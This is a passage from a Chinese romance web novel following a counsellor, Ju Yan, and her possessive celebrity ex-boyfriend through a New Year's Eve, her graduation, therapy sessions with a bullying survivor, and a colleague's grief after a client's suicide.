林今世提前买了许多菜，自己动手做起了年夜饭，等他手忙脚乱地做好一桌年夜饭,已经到十点了。 大理石圆桌上摆满了和虾有关的菜，虽然林今世做得很认真,但奈何厨艺不精,卖相不好。味道也不尽人意。 鞠言心里有气，更是只随便吃了几口,林今世怕她饿着,又在厨房折腾了一回，给她做了碗鲜虾面端过来。 鞠言不想跟他说话，顾自屈腿坐在沙发上看电视，林今世将面条放到桌上，折身去收拾桌上的剩菜。 因为是除夕,几乎每一个频道都在转播春晚，鞠言漫无目的地摁着遥控器变换频道。 林今世收拾好厨房出来，见那碗面仍是完好无损，神情不禁有些低落。 他将那碗已经有些坨了的面条端起来，轻声道：“待会儿饿了要跟我讲，我给你点外卖。” “不用了，我要回去了。”鞠言站起身。 林今世神色一顿：“还没到零点呢。” “已经十一点五十 分了。”鞠言边走边打开手机，准备叫辆车。 才刚走出几步，便被林今世一把捞了回来，他从背后抱住她，紧紧搂在怀里。 鞠言恼火道：“你还要怎么样！” “想和你一起看烟火。”林今世的声音从她的上方传来。 “放开，我要回去了。”鞠言去掰他环在她腰上的双手。 林今世的手纹丝不动，鞠言气得回过头瞪着他。 “……”林今世直直的睫毛垂在眸上，他望着她的眼睛，薄唇轻轻张了一下，鞠言立刻意识到了两人的距离太过暧昧，连忙转回头。 林今世将她打横抱起，他走到大面的落地窗前坐下，强行让鞠言坐在自己分开的□□，林今世俯身从后方环抱住她，特殊的淡香顷刻间将鞠言包裹。 家里开了地暖，只穿短袖就够了，林今世干脆上半身全脱了，只穿着一条灰色卫裤。 虽然隔着自己的衣服，鞠言的脸不争气还是不争气地热起来：“你脱衣服干什么？” 林今世面不红心不跳：“我觉得有点热……” 距离过近，他闻到了她皮肤上的淡淡芬芳，情不自禁地低下脸，埋进她的肩窝里轻蹭起来。 鞠言急道：“不是说看烟花吗！” “……”林今世停顿一秒，继续理直气壮地蹭起她的脖子，他维持生命的呼吸在她的脖颈上进行，仿佛那里有世界上最新鲜的空气。 “不是还没开始放吗？”林今世柔软的唇凑近鞠言的耳朵说话，暧昧地微微磨蹭着。 鞠言的身体瞬间烫得像是被点燃，她用力挣扎起来，见她真的急了，林今世略微妥协了一点，他不再蹭她，只是将下巴轻轻搁在她的肩膀上。 鞠言停止了挣扎，略放松了一些，窗外骤然传来咻的一声响，她下意识望去，无数条银白流苏在眼前绽放，一瞬点亮寂寞的夜空。 尾焰化作金色的雨向四周划落，伴随着连珠炮似的响声，各种不同颜色，不同种类的烟花纷至沓来，不让夜空有一秒钟的孤静。 鞠言逐渐看得入了迷，不觉将手轻贴到玻璃上。 夜空转瞬而逝的各色烟火倒映在她莹亮的眼眸中，她的眼睛里也有一场小型烟花秀。 时间接近零点，华景都城临近的城市广场在举行倒计时，大合唱般的整齐倒数声含响整座城市。 “5！” “4！” “3！” “2！” “1！” “新年快乐！！！” 浪漫的歌曲伴着他们的祝福声同时响彻凌晨12点，银白色的烟火在同一时刻如瀑布般从夜空中洒落。 喧闹中，林今世静静望着她。 明亮的玻璃映照出女孩皎白的脸庞，她的面前是让世界明亮的火花银树。 “我想吻你。”林今世轻声说。 “……”鞠言立刻摇头：“我和你已经分手了，你这样是耍流氓。 “……”林今世垂下长睫，有些失落，安静了片刻，他又试探地问： “那你能亲我吗？” “……不可能。” “……”林今世又开始用脸轻轻蹭起她的皮肤。 那酥痒感让鞠言身上不停颤栗。 鞠言急于摆脱这种感觉，回过脸就想咬他一口。 这一下差点咬到林今世的鼻子，他条件反射地躲开，眼中闪过一丝得意。 鞠言瞪着他，冷声道：“我不想跟讨厌的人接吻！我讨厌你，你不知道吗？” “……”林今世瞳孔微缩，脸上又出现了当时那种身负重伤的神情。 他的手臂不自觉地脱力，渐渐松开了她。 鞠言的心仿佛被刺了下，她从地上爬起来，去沙发拿了外套想走。 林今世立刻追上来，他从身后紧紧抱住她，脸不敢再埋到她的肩膀上，只是轻声哀求道： “不要走，我不会再要求什么了……求你了，比比。” “嗯！”馄饨从桌上跃下，顺拐着跟了过来，在他们身旁不满地喵喵叫着，蹦了好几下，想跳进鞠言或林今世的怀中，可是没有人理会它。 “明天再走可以吗？” 两个人在原地僵持了一会儿，鞠言妥协了：“放开吧。” 喧闹的烟火大会结束，林今世终于放开了她，鞠言洗漱完，换上他给她准备的睡衣到房间睡觉，她没有带睡衣，只能穿林今世的。 林今世睡在床旁的地板上，他怕她跑了，握着她的手就连睡觉时都不肯放。 林今世趴在床边，望着鞠言呢喃道：“这是我最快乐的一个新年。” 没有说的是，虽然你讨厌我…… 他嘴角淡淡的笑不是装出来的，鞠言的心脏一瞬间有些抽痛，不争气地感觉难过。 她咬了咬唇，背过身朝里睡，不看他的脸。 鞠言不想去想林今世，但是躺在床上却怎么也睡不着。 林今世一点动静也没有发出来，应该已经睡着了，鞠言悄悄回过脸看他。 林今世趴在床边，他还醒着，眼神柔和地静望着她，目光相对，他顿了一下，轻声问： “还没睡着？” “……” 怕他长时间跪着膝盖会受伤，鞠言尽量用不带感情的语气道： “你上来睡吧。” 说完便背过了身去。 林今世怔了下，旋即翻身上床，在鞠言身旁躺下后，他才低声问： “你不那么讨厌我了吗？” 鞠言往被子里缩了缩：“我要睡觉了，不要说话了。” “晚安。”他柔声说。 林今世将一只手枕在自己的脸边，静静地望着她的背影，他很想看看她的睡颜，想再见一次她曾经枕着他的手臂安睡的模样。 记忆中她柔白的脸颊、轻合的睫毛、相吻的粉唇、微微翕动的鼻翼……她的一切他都那么喜欢，永远无法忘却。 …… 自知厨艺不佳，第二天中午林今世没有再在厨房中折腾，而是打电话到日料店订了外带便当来。 黑漆描金的木盒内，码放着一只只精致的寿司，每一枚上面都包裹着不同的刺身。 另一盒则是一些高端刺身，餐具和锦鲤形状的小芥末酱油安在盒盖的反面。 吃饭时，馄饨一直在鞠言身旁挨挨蹭蹭的。 “想吃吗？” 鞠言从盒子里夹了一片三文鱼，用手托着喂给馄饨。 馄饨把三文鱼叼到地上，却并不吃，只是用白色的猫爪子将鱼肉打来打去，时而捧起来暴摔，一块好端端的三文鱼摔成了烂泥，馄饨才玩腻。 鞠言：“……” 馄饨敷衍地用爪子在“烂泥”旁埋了埋，随后便敏捷地跳上了鞠言的大腿，以一副大爷的姿态，靠在鞠言的怀里开始舔爪子。 鞠言叹了口气，拿来湿巾替馄饨擦爪子。 馄饨干脆就整个瘫在了她的怀里，心安理得地享受她的“伺候”，粉红色的肉爪子配合地绽成小花。 林今世：“……” 鞠言一边耐心地擦，一边轻抚着呼噜呼噜的馄饨。 “馄饨，你好像一辆小摩托车。”她轻笑道。 “喵～”馄饨舒服的嗓音都沙哑了，它仰起猫脸望着她，眼神已经迷濛。 林今世忽然伸手过来，揪住了它的后颈皮，将一脸懵的馄饨提溜到了自己的怀里。 馄饨清醒过来，不满地瞥了林今世一眼，想跳回鞠言怀里，在半空中又被林今世一把捞了回去。 林今世抽了张湿巾，随便把它的爪子擦了擦，便无情地将馄饨丢到了地上。 馄饨呆立在地上，一时有些反应不过来，片刻后，才质问地冲着林今世叫起来，林今世瞥了它一眼，不再理会。 “……”看着他针对馄饨的样子，鞠言忍不住小声骂了一句“莫名其妙”，她张开手，对馄饨道：“宝宝，上来。” 林今世微微一怔，立刻受宠若惊地将头往她的怀里靠。 鞠言：“……” 她伸手将林今世推开，无情道：“我说的是馄饨。” 林今世：“……” 馄饨乜斜了林今世一眼，得意地纵上了鞠言的大腿，舒舒服服地躺了下去。 吃过了午餐，林今世没有借口再留她了，鞠言看了眼时间，轻手将窝在她怀中睡觉的馄饨放到沙 发上，起身到玄关去换鞋。 林今世默然在原地伫立了几秒，想去拿车钥匙。 “我自己坐车回去。”鞠言淡声道。 林今世：“……我送你。” 鞠言斩钉截铁：“不要。” 林今世没有再说话，拿起外套穿上，他坚持要送鞠言上车，已经要走了，鞠言不再因为这种小事和他争执- 公交车站冷风呼啸，鞠言要的等37路迟迟没有出现，一个黄衣服的环卫工人“哗啦哗啦”清扫着路面的落叶，扫帚之下卷着一簇黄，逐渐从对面扫到这边。 林今世怕她冷，脱了自己的外套想披到她肩膀上，鞠言往后躲开了他的手。 “……”林今世的手滞在半空一瞬，下一刻便不由分说地将外套披到了鞠言的身上。 一辆崭新的37路由远及近，鞠言抬手拦了下，公交车缓缓在他们面前停下，乖巧地敞开两扇透明的前后玻璃门。 林今世再不愿意，37路还是来了。 鞠言把外套脱下还给林今世，踏上台阶走进车内，林今世跟着她的身影行走，走到鞠言落座的位置旁的车窗前停下。 他看着她，车内的暖气使冬季的窗玻璃上蒙着一层白雾，鞠言没有抬手抹干净看他最后一眼。 公交车重新开起来，鞠言朦胧的侧影在他的视线范围内消失。 望着车辆远去的背影，林今世的眼眶有些泛红，他明白，她真的不再喜欢他了。 第56章 毕业那天的阳光明媚的正如开学的那一天,礼堂旁的香樟树浓绿的繁叶反射着金币的光芒。 穿着学士服拍完毕业照之后，几个女孩又拥在一起拍了许多照片和视频，毕业后,她们就将各奔东西了。 周靓雯准备回老家考公务员，沈清梨选择去男友所在的城市工作,关鸥和鞠言一样留在清津实习，童钰则是在清大读研。 “我好舍不得你们。”沈清梨的泪不断地顺颊而下。 鞠言的眼睛也热了起来,沈清梨是即将离得最远的，她抱住她，另外三个女孩也拥了上来。 除了关鸥以外,所有人都哭了。 “比比。”有人在喊她。 鞠言擦掉眼泪，回过头。 周孝明已经保送了本校的研究生，他朝她露出清澈的微笑,学士帽上的流苏被风吹得微微晃着。 “祝你前程似锦，一路繁花。” 鞠言礼貌性地回以淡笑：“你也是。” 毕业典礼结束后，林今世送了她一大束淡蓝色的蝴蝶兰。 这个时候,他已经在娱乐圈颇有名气了，所以打扮的很低调,走近了她,才将脸上的口罩摘下来。 在阳光中，一朵朵硕大的鲜花宛如展翅欲飞的蓝色蝴蝶。鞠言接过了林今世递来的花：“谢谢……” 林今世微微蹙了下眉：“不要跟我这么客气。” 犹豫了一下,鞠言将早已在心里准备了几次的话说出口：“在我的工作还没有转正之前,你不要再干涉我的生活，行吗？” 纠缠了三年，鞠言知道林今世不会因为她毕业了而放弃，但她不想因为和他的感情纠葛而丢掉能去森北实习的机会。 “可以。” 林今世答应得那么爽快，鞠言不禁有些意外,仰起脸看他。 林今世站在明亮的太阳光里，皮肤白到发亮，他的脸逆着光，朦朦胧胧，鞠言看不清他的眼睛，只看到他的鼻唇与两道长睫毛的影子。 “但你不可以喜欢上任何人。”- 森北医院位于市中心，稍微迟一点，就很拥挤，所以鞠言一向起的很早，到医院门口时，医院才刚开门。 鞠言吃着自己做的三明治，慢悠悠地往里走，余光瞥见医院门口的花圃里的小飞燕竟在一夜之间全都开花了。 风很大，白蕊蓝瓣的小花被风吹得不停颤抖着，一眼望去像是波动的浅蓝色海洋。 反正时间还早，鞠言停住脚步，将吃了一半的三明治包好放回包里，屈膝蹲下身。 清晨净爽的风牵着她的裙摆与长发往后走，鞠言轻轻地抚摸着盛开的花，一只手慢慢将被风吹到脸颊前的发丝别到耳后。 时而从簌簌的浅蓝色花海中漾出轻飘的白裙子，像是海水卷出的纯白浪花。 “鞠言！”忽然听到有人喊她的名字。 闻声，鞠言扭过头望了一眼，李景显不知何时来的，两手抄兜立在自己停好的轿车前朝她望着。 目光触及，李景显向她微笑。 她冉冉站起身，白裙从蓝海中脱离。 李景显：“……” 她回以微笑：“你怎么来的这么早？” “你不是更早吗。”他走到她身旁，低脸看着花浪：“你对待你的患者是不是也像刚才抚摸这些小花一样温柔？” 鞠言玩笑道：“李总是在考察我的工作态度吗？” “哪有，”李景显迷人地笑起来：“在想哪天要是被股东气得吐血了，得来找你咨询一下，以免英年早逝。” 鞠言被他逗得扑哧一笑，用手背掩住嘴：“随时欢迎。” 李景显望着她，嘴角挑起迷人的笑： “下个星期六有空吗？想请你去我家听音乐。” 鞠言微怔了下：“你就为这件事特意来这一趟的吗？” “找沈院有点事，来一趟就走。”李景显伸手接走鞠言的挎包，两人并肩朝医院内走。 “怎么样？有时间吗？”李景显又询问了一遍。 之前李景显邀请她的时候，听到那台TechDAS的唱片机，鞠言太激动了，草率答应了下来，可现在仔细想了想，觉得不太合适。 她只当李景显是朋友，虽然很想去听那台，但只有两个人独处的话，会太过暧昧。 见鞠言迟疑，李景显笑道：“你放心，不是孤男寡女，还有另一个朋友一起。” 听他这么说，鞠言便没什么顾虑了，正好下周六也没什么事，便欣然答应了下来。 沈院长的办公室和鞠言的咨询室同在六楼，但方向相反，在宽阔的走廊上李景显将挎包递还给鞠言，微笑道：“周六见。” 鞠言回以浅笑：“再见。” 两人各自朝相反的方向走去，李景显在拐角处停步，回过头目送鞠言亭亭的背影，直到她走进咨询室，消失不见，他才收回目光，抬手按了下下行的电梯按钮- 眼前的女孩染着一头红发，虽然没有戴唇钉，但鲜艳的红唇下仍然留有穿孔的痕迹。 这是一位与沈小简部分情况有些相同的来访者，来访者也是在15岁时遭受了莫名的校园霸凌，但不同的是，因为干预不及时，霸凌从一开始的言语霸凌上升到了肢体暴力。 陈叶已经27岁了，距离遭受校园暴力已过去12年，却仍被过去的心理阴影纠缠着，她的身体早已长大，灵魂却被长时间困在受到伤害的15岁。 她的伤口并没有随着时间流逝慢慢愈合，而是会变成一道丑陋的刺青，日久年深，永远在那里提醒着。 鞠言要做的就是轻柔而细致在这些狰狞的刺青上重新绘上新的花纹，耐心地将原先的痕迹一点点遮盖掉，纵使不能完全掩埋，也能使其不再那么触目惊心。 “我很内疚爱我的父母和朋友，内疚到想让自己在他们的世界里消失。”陈叶哑声道，这是她擤干净鼻涕后的第一句话。 在恨加害者的同时，陈叶也对当初弱小没有反抗的自己展现出激烈的厌恶情绪。 陈叶第一次来到咨询室时，鞠言耐心引导了许多，才让她将觉得 难以启齿的伤害一点点发泄出来。 “我真恨自己，恨自己当初为什么要默默的忍受，不告诉老师和家长，为什么在她们扇我耳光的时候没有反抗，只是选择了转学逃避。”陈叶弓着身，手肘支在膝盖上，痛苦地用两只手攥着自己的红发。 鞠言温和道：“这并不是你的错。” 陈叶立刻用力摇了摇头：“我就是个傻x！贱货！贱货！活该被人欺负！”她憎恨地辱骂起自己。 “你不是。”鞠言不容质疑回答她。 陈叶的身体颤抖愈发激烈，鞠言静静地望着她，等她平静一些，才问道：“你愿意试试催眠疗法吗？” 陈叶怔了怔，似乎有些犹豫。 鞠言知道她是害怕会重新面对过去那些痛苦的经历。 她柔声道：“重新将伤口挖掘出来的过程是非常痛苦的，但是只有这样才能彻底治好它，不是吗？” “嗯……”陈叶这才点了点头。 鞠言缓声道：“换一个你认为最舒适的姿势。” 陈叶犹豫了下，慢慢靠到沙发上。 “放松。”鞠言一点点引导。 “闭上眼，眼前是15岁的你。” 一个女孩的身影朦朦胧胧出现在了陈叶的视线前。 “看见她了吗？” “嗯。”陈叶微点了下脸。 “她一点点向你靠近。” 女孩不过十五六岁的样子，生得很普通，鼻梁上架着一副厚厚的眼镜，完全就是一只丑小鸭，她低着头，就连肢体动作都能看出自卑的性格。 陈叶的眉头微微颤抖了下：“……” “你现在是什么感觉。” 陈叶的眼前出现了高中时的寝室，容貌普通的女孩被另外五个室友包围在中间，胡艺文娴熟地抬手掌掴了她一个耳光，女孩没有反抗，甚至没有躲。 陈叶的睫毛在簌簌颤抖，声音也在颤抖：“讨厌她。” 鞠言嗓音柔和：“为什么？” 五个室友的手接力赛似的扇动着，不知道被扇了多少个耳光了，陈叶只看到女孩的脸颊已经肿了起来，她垂着头一声不响，似乎没有痛觉。 陈叶的心脏拧绞般得痛：“她太没用了……” “讨厌那个时候弱小的自己，被欺负了不能保护自己的自己，没有去反抗的自己，是吗？” 陈叶微微点头。 “那你会跟别人一起欺负那时候的你吗？” “……”这个问题让陈叶陷入了沉默。 她的耳畔听见了张希娇滴滴的声音，她带着笑说： “你跪下给我磕个头，我就不打你了。” 外面下过雨，寝室的地板被鞋底踩踏的湿漉漉的。女孩一声不吭，只是抬手把被打歪的眼镜扶正，随后便跪了下去，她的身影被另外五个女孩的身体投下的灰色阴影吞噬了。 陈叶想冲过去，将女孩从地上拉起来，告诉她不用害怕她们，可是，陈叶做不到。 五个女孩惊讶地笑嚷起来，彼此推搡：“她真的跪了！她真的跪了！” 鞠言看到陈叶闭着的假睫毛下，两道泪水滚了下来，滑湿了她化着妆的脸颊。 良久，陈叶轻声道：“不会，她已经够可怜了。” “是呀，这样对那个仅仅只有15岁的女孩太苛责，太残忍了。” 这一句话让陈叶的泪滑了下来。 她仰起脸望向站在面前的十五岁的自己，那张平庸稚嫩的脸庞伤痕累累。 鞠言接着问，语气轻柔而平淡：“那现在的你，想去保护曾经那个15岁的女孩吗？” “……”陈叶沉默片晌，声音里的哭腔更浓了：“想。” 在说出了这个答案后，她的眼泪再也止不住，几乎哭到崩溃。 “医生，我好痛苦，我感觉我坚持不下去了。”陈叶浑身发着颤，绝望地望向鞠言。 鞠言从纸盒抽了纸巾递给她，柔声道：“被霸凌者扇耳光并不意味着尊严的丢失，这只能暴露他们的野蛮。” 陈叶没有说话，只是吃力地点了点头。 鞠言继续说：“你能选择来看咨询，选择面对曾经让你那么痛苦的创伤，已经是很勇敢的一件事了。 陈叶垂着头，声音疲惫到了极点：“真的吗……” 鞠言认真地回答：“真的。” 在咨询临近结束的最后几分钟，鞠言柔声告诉她： “或许，你知道吗，其实那个时候的你已经做出了你所能做出的最大意义的反抗了。” “而且你也不是你自己想的那么差，你会弹吉他、唱歌很好听、化妆也很好、会感到对家人的内疚，不愿意给他们造成负担……其实你很好，但即使没有这些，你的家人和朋友还是会很爱你，你明明那么好。” 她本就好听的嗓音用这样轻柔的语调说出来，愈加的动人温暖。 陈叶已经恢复了一些力气，但依旧疲倦不堪地垂着头：“我真的有这么好吗？” 鞠言：“有的，只是你自己一直没有看见它。” 陈叶微微向鞠言笑了笑，“谢谢……” 这是上午的最后一场咨询，送走了陈叶，鞠言等待乔楠收拾完咨询室，两个人一起下了楼。 杨书荣自从知道李景显和鞠言认识之后，有事没事便来给鞠言献殷勤，咖啡店的座位都是五人座，为了以防中午他不识趣地坐过来，杨欣特意叫了自己刚来实习的学弟贺思源和她们一桌坐，把剩下的那一个位置给占了。 趁着午餐时间，穆晓菲又开始激情安利起了林今世的一部新古装剧。 听她介绍，这部电视剧中林今世饰演的是孤绝却唯独对女主角痴情一片的权臣，最终为爱而死。 说了半天见鞠言也并不是很有兴趣，便又拿了林今世参加某综艺宣传电视剧的片段给她看。 视频中，林今世身披一袭玄色鹤氅，束发，腰悬玉带，看起来更加遥不可及了。 俨然便是话本里只一眼回眸便令人一见倾心甘愿为之而死的美男子。 男女主一起出场，女演员的戏服很长，走路不方便，林今世便抬起手让她扶着，女演员似乎还未出戏，看向他时，眼睛都在冒星星，他的脸上却只挂着礼貌性的一点儿笑，神色疏离。 “真是‘纵是无情也动人’啊！”穆晓菲闪着星星眼握手道。 这条视频放完了，自动播放起了下一条，是某个综艺片段，林今世刚刚从泳池内爬上来，他穿着白T恤，但因为被水濡湿，完全勾勒出了漂亮的身材。 鞠言的目光一颤，脑海中猛然跳出了从前他在她身上微微喘息的时刻，连忙别开眼不去看。 看到她的反应，贺思源好奇地探头过来看了看屏幕，看到视频里的内容，他忍不住笑了一声。 穆晓菲卫护地看向他。 贺思源赶忙解释： “不是不是，我是觉得鞠言姐姐也太单纯了。” 鞠言：“……” 第57章 吃好午餐,鞠言回到咨询室，目光注意到窗台上多了一盆小飞燕盆栽，盛开的五瓣小蓝花正随风颤动。 她第一反应以为又是林今世让人送来的,鞠言走到窗边，想将花拿下来。 看到花瓶上挂着的标签,才发觉与林今世平日订花的不是同一家店。 “小楠，这是谁放的？”鞠言回过头问正在泡花茶的小助理乔楠。 乔楠摇摇头：“下午的时候花店员工送来的,可能是患者送的吧？” 鞠言思忖了下，拿出手机，拍了一张小飞燕的照片发送给李景显问道： 【是你送的吗？谢谢。】 李景显很忙,很少有立刻回复的时候，鞠言将手机揣回兜里，开始着手下午的第一场咨询。 这个来访者的资料鞠言昨天已经提前看过了,是一名29岁的男性，心里一直放不下从前的一段恋情，因而导致了失眠和情绪低落,来访者没有抑郁症，也没有出现自残行为。 由于是初诊,所以很多情况鞠言还是需要当面了解。 咨询快到了,乔楠领着来访者进来。 鞠言仰起脸，朝来访者漾出微笑。 来人身型修长,戴着口罩、鸭舌帽还有一副墨镜,完全看不出任何一处五官，但鞠言还是在一秒之间认出了他是谁。 乔楠没有注意到寂静无声的空气之下，两人情绪的波动。 林今世的眼睛透过墨镜回望着她，他不愿浪费一秒可以 看见她的时间。 乔楠请他在沙发椅上坐下，替他斟了一杯清香的花茶,随后带上门出去。 鞠言打破沉默：“你来干什么？” “想见你。” 鞠言蹙起眉：“这样是在浪费别人的治疗机会，你不知道吗？” “……”林今世抬手慢慢摘下口罩和墨镜，低声道：“我只是想来看看你也不可以吗？” 他以前就好看，当了明星更精致了些，周身仿佛蒙了一层光雾，简直照的人发晕。 听林今世的语气就知道他还在因为她和李景显的事耿耿于怀，这么多年鞠言对林今世偏执的性格早已透彻的不能再透彻，她不想再刺激他，只能偏开脸不理他。 猜到林今世肯定是让自己的助理帮忙预约了她的咨询，鞠言生气地在医务系统中将这个挂号身份拉入了黑名单，顾自拿出平板开始复盘明天上午要咨询的来访者的情况与心理创伤。 知道鞠言不会理他，林今世也没有再开口说什么，只是安静地在沙发上望着她。 鞠言垂着脸，静静地做着笔记，她的神韵已褪去了少女的稚嫩，多了几分稳重与成熟。仪态端雅，长及后背的秀发半扎，在颜色雅致的鹅黄色针织开衫衬托下，脸庞更显清丽洁净。 记忆中她大二晚自习时，在他的陪伴下复习功课时也是这幅模样。 只是那时她更多是梳马尾辫。 “不许一直盯着我。”鞠言不抬头说道。 “……”林今世没反应。 鞠言看向他一秒，挪开视线：“不想被请出去，就不要再盯着我看。” 林今世微微蹙了下眉，将眼睛闭上。 由于录节目，他昨天只睡了两个小时，这会儿闭着眼睛靠在软度适中的沙发，又是和鞠言待在同一个安静的空间里，困意逐渐升了起来。但林今世不想太快睡着，他的身子微微侧了侧，把手肘支在沙发扶手上，一手托着头，努力让自己保持清醒。 只是没坚持一会儿，安静的咨询室内还是出现了男人轻而均匀的呼吸声。 “……” 鞠言抬睫，忍不住朝他看了一眼。 林今世闭着眼睛，长长的睫毛盖在眼下，面部的轮廓流利而精美，无可挑剔。 这几天清津的气温不算高，他却已经穿上薄卫衣了，虽然知道林今世一贯不怕冷，但鞠言还是等他彻底睡熟后，站起身从柜子里拿了自己午睡用的毯子轻轻盖到了他的身上。 林今世黑而长的睫毛微微颤了下，好在并没有醒过来。 “……” 望着他的睡颜，鞠言的心中逐渐泛上了一股拉扯的痛，她清楚，自己并不抗拒林今世在身旁，内心深处甚至还残存着对他的爱。 但她做不到原谅他……原谅他，就是放弃自己的尊严。 鞠言慢慢走回座位，静音的手机显示有消息未读。 平时咨询的时间她是不看任何消息的，以免浪费时间和情绪被打断，但这一场属于特殊情况。 鞠言点进微信，是鞠然的消息： 【你在清津好不好？工作顺利吗？】 “……” 鞠言盯着屏幕看了片刻，没有回复，退出了聊天界面。 自从到了清津，她一次都没有和鞠然联系过，也不知道鞠然的近况，鞠然的朋友圈她也早就屏蔽了。 …… 鞠言看了眼手表，咨询时间快到了，她先拿走了毯子，放回柜子里后才用手推了一下林今世。 林今世微微睁开了惺忪的睡眼朝她看了一眼。 “咨询时间到了。”鞠言冷淡地说道。 “……”林今世慢慢站了起来，他戴上鸭舌帽，口罩拿在手里。 “我走了。”他说。 林今世没有抬步，他静站着，希望她会说一句：“再见。” 鞠言没反应，顾自低头写着报告。 “……” 最终还是没有等到，林今世把口罩和挂在领口的墨镜戴上，失落地推开门离去。 咨询室的门轻轻关上了。 鞠言脸上的漠然瞬间冰消，她脱力地俯趴在桌面上，胸口隐隐作痛，每到这个时间，她就很恨林今世，恨他那么执着，恨他让她一次次狠下心。 虚备着的门忽然被推门，穆晓菲火急火燎地蹿了进来，慢吞吞跟在她身后的还有贺思源，见他们两个进来，鞠言忙掩盖住情绪，若无其事地坐起身来。 穆晓菲两手扑到她桌上，开门见山地问道：“比比，刚才那个来访者帅不帅？背影好像我男神！” 贺思源靠在门上，一手拿着装着浓缩咖啡的马克杯，真诚地疑惑道：“裹得这么严实，怎么看出来的？” 穆晓菲得意极了：“这你就不懂了，这是女人的直觉！” 鞠言淡声道：“普通人，没什么出众的。” 虽然心里有气，但她不想因为林今世的缘故医院被堵得水泄不通，那样只会浪费其他人的时间。 “和林今世不像。”鞠言补充了一句。 “好吧，”穆晓菲略显失落：“不过从背影上看起来很帅诶！” 鞠言勉强笑了下：“个子高，戴口罩的男生乍一眼哪有几个不好看的。” 贺思源在一旁认同地点了点头：“我上回戴高着口罩坐地铁，就被两个女孩子当成是大学生了。”他有点不好意思地说道。 穆晓菲：“你也就戴上口罩算个帅哥了。” 贺思源“哼”了一声：“又不是谁都能长得像小李总那样丰神俊朗的。” “别自卑，”穆晓菲拍了拍他的肩膀：“你也不丑。” “欸！什么叫我也不丑，虽然我算不上你男神那种大帅哥，也是个俊秀邻家大男孩吧。”贺思源急起来。 “错错错。”穆晓菲坚决地摇了摇头。 听到穆晓菲这么说，贺思源气哄哄地向鞠言求助： “小言姐，你说说我长得怎么样？” 鞠言勉强浅笑：“挺好看的。” 贺思源得意地看向穆晓菲。 穆晓菲：“我不是说你，是说我男神不是大帅哥，他是绝色大帅哥！” 贺思源：“……” 手机铃声加入其中。穆晓菲伸手去拿口袋里的手机，贺思源笑着把自己的手机朝她展示了一下： “是我的在响。” 他接起电话走了出去，穆晓菲也回办公室了。 鞠言抬腕看了眼，离下一场咨询开始还有一会儿，她起身朝洗手间走，打算上个厕所回来开始复习资料。 从洗手间出来，鞠言正想朝咨询室走，忽然瞧见走贺思源正失魂落魄地扶着墙发抖。 鞠言连忙过去扶住他：“低血糖了吗？” 贺思源木讷地移目看向鞠言，他的嘴唇动了动：“小言姐，我的来访自杀了。” 鞠言的心里轰了一声，她很快镇定下来，扶着贺思源到办公室坐下，她倒了杯热水递给他： “联系你督导了吗？” 贺思源的脸色已经苍白了，他无力地摇了摇头：“还没有。” “那个女孩才只有十九岁……”贺思源的声音有些哽咽了，把脸埋到膝盖上。 鞠言的眼眶一瞬红了，但贺思源已经很难受了，自己不能再去影响他，她平复情绪，在他身旁坐下，柔和道：“你已经尽力了。” “如果，如果我能早点发现并且紧急干预的话，她有可能就不会死了。”贺思源低低的声音里夹杂着啜泣。 “方 便的话，可以看一看有关她的个案报告吗？” 贺思源转过头把泪擦去，而后才从抽屉里找出了一份文件递给鞠言。 从被贺思源记录在册的对话里，鞠言仿佛看见了那个女孩的模样与痛苦，令人心碎。 鞠言认真地连看两遍，除了还有些青涩以外，贺思源的回答与引导并没有问题。 鞠言合上册子，坚定道：“这件事不是你的错。” 贺思源咬紧唇，眼泪顺着脸颊流下。 鞠言抽了两张餐巾纸递给他：“虽然不能做到百分百的共情，但我能理解你现在的痛苦，你可以难受但不要怪自己好吗？” 贺思源吃力地微微点头：“……谢谢你，小言姐姐。” 鞠言温柔道：“不用这么客气。” 她从贺思源那要来了他的督导的联系方式，给他打去了电话，督导下午还有咨询，等咨询结束了才能过来。 鞠言有些不放心贺思源，下午每场咨询结束后的间隙，都会过来陪他，直到他的督导到了，她才放下心。 第58章 清晨七点二十分,气温23摄氏度。一群上班族站在路口等候绿灯亮起，稀薄的阳光穿过云雾，照在鞠言的脸上。 红灯熄灭,绿色点亮。 她随着人潮穿过拥挤的斑马线，走进对面的一家咖啡店。 这家店的咖啡味道要比森北医院一楼的那家咖啡店更加醇香,因而鞠言时间宽裕时，往往都会先在这家店买完咖啡再去上班。 鞠言：“你好,我要一杯热拿铁，和一份黄油吐司。” 打零工的女孩仰起脸，白口罩之上的双眼弯了起来：“早上好,鞠医生。” 来的次数多，女孩已经认识她了，鞠言点完单,让到一旁让其他人上来。 “鞠言？”一道男声从她的身后传来。 鞠言回过头，朝着声音的方向看过去。 “真的是你啊！”年轻男人惊喜道，他走出排着的队伍,朝她过来。 鞠言隔了几秒才想起他是谁。 陈归的头发烫卷了，穿着件红白撞色卫衣。 鞠言微微弯唇,礼貌地回了个短暂的微笑。 “你漂亮了好多啊。”陈归不好意思地挠了挠头。 因为大一的事,鞠言对陈归没什么好感，只想快点结束话题。 她敷衍地说了一句：“谢谢。”目光径自越过工作台,看着三个年轻的员工忙碌地制作着咖啡。 陈归的眼睛却仍在她身上打量着：“怪不得林今世当时一直放不下呢,要是我，我也要一直缠住你。”他说着，自己笑了起来。 鞠言的眉头微微蹙了下，没有理他，恰好服务员将装有黄油吐司的纸袋和热拿铁递了过来。 “鞠医生,你的东西好了。” “谢谢。”鞠言接过东西，扭头朝外走。 “欸欸！”陈归连忙喊住她，他笑道：“你在森北医院工作吗？我记得你好像是心理专业来着。” 鞠言脚步停下：“有什么事吗？” “没什么事，毕业了还能在遇见，说明我们俩有缘份不是吗？待会儿要不要一起吃个饭？”陈归跟上来。 鞠言婉拒：“已经有约了，不好意思。” “你以前就拒绝过我一次，现在再拒绝，是不是有些不给面子呀？”陈归一副死缠烂打的模样。 鞠言不想再理他，顾自踏着斑马线朝医院走。 陈归伸手来拿她的挎包，笑嘻嘻地说道： “我送你去上班。” “别跟着我。”鞠言躲开手。 “老同学见面，你也太不给面子了吧？”陈归还想跟过来。 鞠言不客气道：“你再缠着我，我会立刻叫这里的保安过来。” 陈归有点儿难堪地“啧”了声，停下了脚步。 虽然再遇见陈归有点儿破坏鞠言一大早的心情，但她也没多想，很快便全身心投入到工作中。 结束了上午的三场咨询，乔楠还在收拾咨询室，鞠言想去找杨欣问问她中午打算吃些什么，才刚走出咨询室，就看见陈归正趴在前台，问值班的小护士： “请问鞠言，鞠医生的办公室是哪间？” 